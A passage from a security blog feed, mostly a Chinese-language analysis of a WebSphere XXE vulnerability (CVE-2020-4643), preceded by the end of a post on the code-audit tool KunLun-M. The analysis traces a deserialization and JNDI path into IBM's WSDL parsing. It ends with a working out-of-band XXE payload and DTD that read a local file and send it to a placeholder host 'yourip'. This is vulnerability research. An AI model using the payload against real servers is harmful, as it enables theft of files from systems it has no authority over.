KunLun-M可能并不是什么有技术优势的自动化代码审计工具,但却是唯一的仍在维护的开源代码审计工具,在多年研究的过程中,我深切的体会到有关白盒审计的信息壁垒,成熟的白盒审计厂商包括fortify,Checkmarx,Coverity,rips,源伞扫描器都是商业闭源的,国内的很多厂商白盒团队都还在起步,很多东西都是摸着石头过河,想学白盒审计的课程这些年我也只见过南京大学的《软件分析》,很多东西都只能看paper...也希望KunLun-M的开源和这篇文章也能给相应的从业者带来一些帮助。

同时,KunLun-M也作为星链计划的一员,秉承开放开源、长期维护的原则公开,希望KunLun-M能作为一颗星星链接每一个安全研究员。

星链计划地址: - https://github.com/knownsec/404StarLink-Project


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1339/

]]>
https://blog.knownsec.com/2020/11/%e4%bb%8e0%e5%bc%80%e5%a7%8b%e8%81%8a%e8%81%8a%e8%87%aa%e5%8a%a8%e5%8c%96%e9%9d%99%e6%80%81%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e5%b7%a5%e5%85%b7/feed/ 0
WebSphere XXE 漏洞分析(CVE-2020-4643) https://blog.knownsec.com/2020/11/websphere-xxe-%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90cve-2020-4643/ https://blog.knownsec.com/2020/11/websphere-xxe-%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90cve-2020-4643/#respond Tue, 03 Nov 2020 02:52:40 +0000 https://blog.knownsec.com/?p=5127 作者:Longofo@知道创宇404实验室 & r00t4dm@奇安信A-TEAM
时间:2020年9月21日

2020年9月17日,IBM发布了一个WebSphere XXE漏洞公告。 当时看到这个消息心想我们挖的那个XXE很可能与这个重了。然后看了下补丁,果不其然,当时心里就很遗憾,本来是打算一起找到一个RCE漏洞在一起提交XXE漏洞的,因为害怕提交了XXE官方把反序列化入口也封了,例如CVE-2020-4450,直接封掉了反序列化入口。奈何WebSphere找了一两周也没什么发现,后来正打算把XXE提交了,就看到官方发布了公告,看了下作者,是绿盟的一位大佬,也是CVE-2020-4450的发现者之一,这些默默挖洞的大佬,只可远观眺望啊。WebSphere的分析似乎挺少,聊聊几篇分析,不像Weblogic那样量产漏洞,单是一个高版本sdk就拦截了很多链或者说连接可用链的点,心想与其烂在手里,还不如分享出来,下面写下我们发现过程,其实重要的不是这个XXE,而是到达XXE这个点的前半部分。

补丁

先来看看补丁,只能看出是修复了一个XXE,不知道是哪儿的XXE:

可以看出这里是修复了一个XXE漏洞,但是这只是一个Utils,我们找到的那个XXE刚好也用了这个Utils。

漏洞分析

最开始研究WebSphere就是前不久的CVE-2020-4450,这个漏洞外面已经有分析了。为了更熟悉一点WebSphere,我们也去研究了历史补丁,例如印象比较深的就是前不久的CVE-2020-4276,这个漏洞算是历史漏洞CVE-2015-7450的认证方式绕过,RCE的过程与CVE-2015-7450没区别。后面意外的找到另一个反序列化入口,在确认了已经无法在历史漏洞上做文章的时,只好从readObject、readExternal、toString、compare等函数去尝试找下了,后来在一个readObject找到一个能JNDI注入的地方,但是由于sdk高版本的原因,能利用的方式就只能是本地factory或利用jndi本地反序列化了,但是WebSphere公开的利用链都被堵上了,本地反序列化其实没什么作用在这里,所以只剩下看本地Factory了。反序列化入口暂时先不给出,可能这样的反序列化入口还有很多,我们碰巧遇到了其中一个,如果后面有幸找到了RCE漏洞,就把我们找到的入口写出来,下面从那个readObject中的JNDI开始吧。

com.ibm.ws.ejb.portable.EJBMetaDataImpl#readObject中:

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        try {
            in.defaultReadObject();
            ...
            ...
            this.ivStatelessSession = in.readBoolean();
            ClassLoader loader = (ClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return Thread.currentThread().getContextClassLoader();
                }
            });
            this.ivBeanClassName = in.readUTF();
            this.ivHomeClass = loader.loadClass(in.readUTF());
            this.ivRemoteClass = loader.loadClass(in.readUTF());
            if (!this.ivSession) {
                this.ivPKClass = loader.loadClass(in.readUTF());
            }

            this.ivHomeHandle = (HomeHandle)in.readObject();
            EJBHome ejbHomeStub = this.ivHomeHandle.getEJBHome();//ivHomeHandle是一个接口,我们找到了HomeHandleImpl,里面进行了JNDI查询,并且url可控
            this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ejbHomeStub, this.ivHomeClass);//如果跟踪过CVE-2020-4450就能感觉到,这里十分类似CVE-2020-4450,不过缺少了后续的调用,无法像CVE-2020-4450利用WSIF的方式触发后续的RCE,WSIF之前那个XXE也被修复了
        } catch (IOException var6) {
            throw var6;
        } catch (ClassNotFoundException var7) {
            throw var7;
        }
    }

com.ibm.ws.ejb.portable.HomeHandleImpl#getEJBHome如下:

public EJBHome getEJBHome() throws RemoteException {
        if (this.ivEjbHome == null) {
            NoSuchObjectException re;
            ...
            ...
                InitialContext ctx;
                try {
                    if (this.ivInitialContextProperties == null) {
                        ctx = new InitialContext();
                    } else {
                        try {
                            ctx = new InitialContext(this.ivInitialContextProperties);
                        } catch (NamingException var5) {
                            ctx = new InitialContext();
                        }
                    }

                    this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);//进行了JNDI查询,ivJndiName是属性,很容易控制
                } catch (NoInitialContextException var6) {
                    Properties p = new Properties();
                    p.put("java.naming.factory.initial", "com.ibm.websphere.naming.WsnInitialContextFactory");
                    ctx = new InitialContext(p);
                    this.ivEjbHome = (EJBHome)PortableRemoteObject.narrow(ctx.lookup(this.ivJndiName), homeClass);
                }
            ...
            ...

        return this.ivEjbHome;
    }

如果是sdk低版本,直接就是外部加载factory rce利用了,但是天不随人愿,如果这么容易就不会有CVE-2020-4450那种复杂的利用了。

接下来就只能一个一个看本地的factory了,也不多大概几十个,一个一个看吧。在com.ibm.ws.webservices.engine.client.ServiceFactory#getObjectInstance中,找到了那个XXE:

public Object getObjectInstance(Object refObject, Name name, Context nameCtx, Hashtable environment) throws Exception {
        Object instance = null;
        if (refObject instanceof Reference) {
            Reference ref = (Reference)refObject;
            RefAddr addr = ref.get("service classname");
            Object obj = null;
            if (addr != null &amp;&amp; (obj = addr.getContent()) instanceof String) {
                instance = ClassUtils.forName((String)obj).newInstance();
            } else {
                addr = ref.get("WSDL location");
                if (addr != null &amp;&amp; (obj = addr.getContent()) instanceof String) {
                    URL wsdlLocation = new URL((String)obj);
                    addr = ref.get("service namespace");
                    if (addr != null &amp;&amp; (obj = addr.getContent()) instanceof String) {
                        String namespace = (String)obj;
                        addr = ref.get("service local part");
                        if (addr != null &amp;&amp; (obj = addr.getContent()) instanceof String) {
                            String localPart = (String)obj;
                            QName serviceName = QNameTable.createQName(namespace, localPart);
                            Class[] formalArgs = new Class[]{URL.class, QName.class};
                            Object[] actualArgs = new Object[]{wsdlLocation, serviceName};
                            Constructor ctor = Service.class.getDeclaredConstructor(formalArgs);
                            instance = ctor.newInstance(actualArgs);//调用了Service构造函数
                        }
                    }
                }
            }

            addr = ref.get("maintain session");
            if (addr != null &amp;&amp; instance instanceof Service) {
                ((Service)instance).setMaintainSession(true);
            }
        }

        return instance;
    }

com.ibm.ws.webservices.engine.client.Service#Service(java.net.URL, javax.xml.namespace.QName),在构造函数中:

public Service(URL wsdlLocation, QName serviceName) throws ServiceException {
        if (log.isDebugEnabled()) {
            log.debug("Entry Service(URL, QName)  " + serviceName.toString());
        }

        this.serviceName = serviceName;
        this.wsdlLocation = wsdlLocation;
        Definition def = cachingWSDL ? (Definition)cachedWSDL.get(wsdlLocation.toString()) : null;
        if (def == null) {
            Document doc = null;

            try {
                doc = XMLUtils.newDocument(wsdlLocation.toString());//wsdlLocation外部可控,这里XMLUtils.newDocument进去就请求了wsdlLocation获取xml文件并解析
            } catch (Exception var8) {
                FFDCFilter.processException(var8, "com.ibm.ws.webservices.engine.client.Service.initService", "199", this);
                throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var8));
            }

            try {
                WSDLFactory factory = new WSDLFactoryImpl();
                WSDLReader reader = factory.newWSDLReader();
                reader.setFeature("javax.wsdl.verbose", false);
                def = reader.readWSDL(wsdlLocation.toString(), doc);//一开始我们只停留在了上面那个XMLUtils.newDocument,利用那儿的异常带不出去数据,由于是高版本sdk,外带也只能带一行数据。后来看到reader.readWSDL进去还能利用另一种方式外带全部数据
                if (cachingWSDL) {
                    cachedWSDL.put(wsdlLocation.toString(), def);
                }
            } catch (Exception var7) {
                FFDCFilter.processException(var7, "com.ibm.ws.webservices.engine.client.Service.initService", "293", this);
                throw new ServiceException(Messages.getMessage("wsdlError00", "", "\n" + var7));
            }
        }

        this.initService(def);
        if (log.isDebugEnabled()) {
            log.debug("Exit Service(URL, QName)  ");
        }

    }

com.ibm.wsdl.xml.WSDLReaderImpl#readWSDL(java.lang.String, org.w3c.dom.Document)之后,会调用到一个com.ibm.wsdl.xml.WSDLReaderImpl#parseDefinitions

protected Definition parseDefinitions(String documentBaseURI, Element defEl, Map importedDefs) throws WSDLException {
    checkElementName(defEl, Constants.Q_ELEM_DEFINITIONS);
    WSDLFactory factory = this.getWSDLFactory();
    Definition def = factory.newDefinition();
    if (this.extReg != null) {
        def.setExtensionRegistry(this.extReg);
    }

    String name = DOMUtils.getAttribute(defEl, "name");
    String targetNamespace = DOMUtils.getAttribute(defEl, "targetNamespace");
    NamedNodeMap attrs = defEl.getAttributes();
    if (importedDefs == null) {
        importedDefs = new Hashtable();
    }

    if (documentBaseURI != null) {
        def.setDocumentBaseURI(documentBaseURI);
        ((Map)importedDefs).put(documentBaseURI, def);
    }

    if (name != null) {
        def.setQName(new QName(targetNamespace, name));
    }

    if (targetNamespace != null) {
        def.setTargetNamespace(targetNamespace);
    }

    int size = attrs.getLength();

    for(int i = 0; i &lt; size; ++i) {
        Attr attr = (Attr)attrs.item(i);
        String namespaceURI = attr.getNamespaceURI();
        String localPart = attr.getLocalName();
        String value = attr.getValue();
        if (namespaceURI != null &amp;&amp; namespaceURI.equals("http://www.w3.org/2000/xmlns/")) {
            if (localPart != null &amp;&amp; !localPart.equals("xmlns")) {
                def.addNamespace(localPart, value);
            } else {
                def.addNamespace((String)null, value);
            }
        }
    }

    for(Element tempEl = DOMUtils.getFirstChildElement(defEl); tempEl != null; tempEl = DOMUtils.getNextSiblingElement(tempEl)) {
        if (QNameUtils.matches(Constants.Q_ELEM_IMPORT, tempEl)) {
            def.addImport(this.parseImport(tempEl, def, (Map)importedDefs));
        } else if (QNameUtils.matches(Constants.Q_ELEM_DOCUMENTATION, tempEl)) {
            def.setDocumentationElement(tempEl);
        } else if (QNameUtils.matches(Constants.Q_ELEM_TYPES, tempEl)) {
            def.setTypes(this.parseTypes(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_MESSAGE, tempEl)) {
            def.addMessage(this.parseMessage(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_PORT_TYPE, tempEl)) {
            def.addPortType(this.parsePortType(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_BINDING, tempEl)) {
            def.addBinding(this.parseBinding(tempEl, def));
        } else if (QNameUtils.matches(Constants.Q_ELEM_SERVICE, tempEl)) {
            def.addService(this.parseService(tempEl, def));
        } else {
            def.addExtensibilityElement(this.parseExtensibilityElement(Definition.class, tempEl, def));
        }
    }

    this.parseExtensibilityAttributes(defEl, Definition.class, def, def);
    return def;
}

com.ibm.wsdl.xml.WSDLReaderImpl#parseImport:

protected Import parseImport(Element importEl, Definition def, Map importedDefs) throws WSDLException {
        Import importDef = def.createImport();

        String locationURI;
        try {
            String namespaceURI = DOMUtils.getAttribute(importEl, "namespace");
            locationURI = DOMUtils.getAttribute(importEl, "location");//获取location属性
            String contextURI = null;
            if (namespaceURI != null) {
                importDef.setNamespaceURI(namespaceURI);
            }

            if (locationURI != null) {
                importDef.setLocationURI(locationURI);
                if (this.importDocuments) {
                    try {
                        contextURI = def.getDocumentBaseURI();
                        Definition importedDef = null;
                        InputStream inputStream = null;
                        InputSource inputSource = null;
                        URL url = null;
                        if (this.loc != null) {
                            inputSource = this.loc.getImportInputSource(contextURI, locationURI);
                            String liu = this.loc.getLatestImportURI();
                            importedDef = (Definition)importedDefs.get(liu);
                            if (inputSource.getSystemId() == null) {
                                inputSource.setSystemId(liu);
                            }
                        } else {
                            URL contextURL = contextURI != null ? StringUtils.getURL((URL)null, contextURI) : null;
                            url = StringUtils.getURL(contextURL, locationURI);
                            importedDef = (Definition)importedDefs.get(url.toString());
                            if (importedDef == null) {
                                inputStream = StringUtils.getContentAsInputStream(url);//进行了请求,可以通过这个请求将数据外带,但是还是有些限制,例如有&amp;或"等字符的文件会报错导致带不了
                                ...
                                ...

xml payload:

xml如下:
&lt;!DOCTYPE x [
  &lt;!ENTITY % aaa SYSTEM "file:///C:/Windows/win.ini">
  &lt;!ENTITY % bbb SYSTEM "http://yourip:8000/xx.dtd">
  %bbb;
]>
&lt;definitions name="HelloService" xmlns="http://schemas.xmlsoap.org/wsdl/">
  &ddd;
&lt;/definitions>

xx.dtd如下:
&lt;!ENTITY % ccc '&lt;!ENTITY ddd &#39;&lt;import namespace="uri" location="http://yourip:8000/xxeLog?%aaa;"/>&#39;>'>%ccc;

最后

我们只看了浮在表面上的一些地方,人工最多只看了两层调用,也许RCE隐藏在更深的地方或者知识盲点现在没找到呢,还是得有个属于自己的能查找链的工具,工具不会累,人会。


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1342/

]]>
https://blog.knownsec.com/2020/11/websphere-xxe-%e6%bc%8f%e6%b4%9e%e5%88%86%e6%9e%90cve-2020-4643/feed/ 0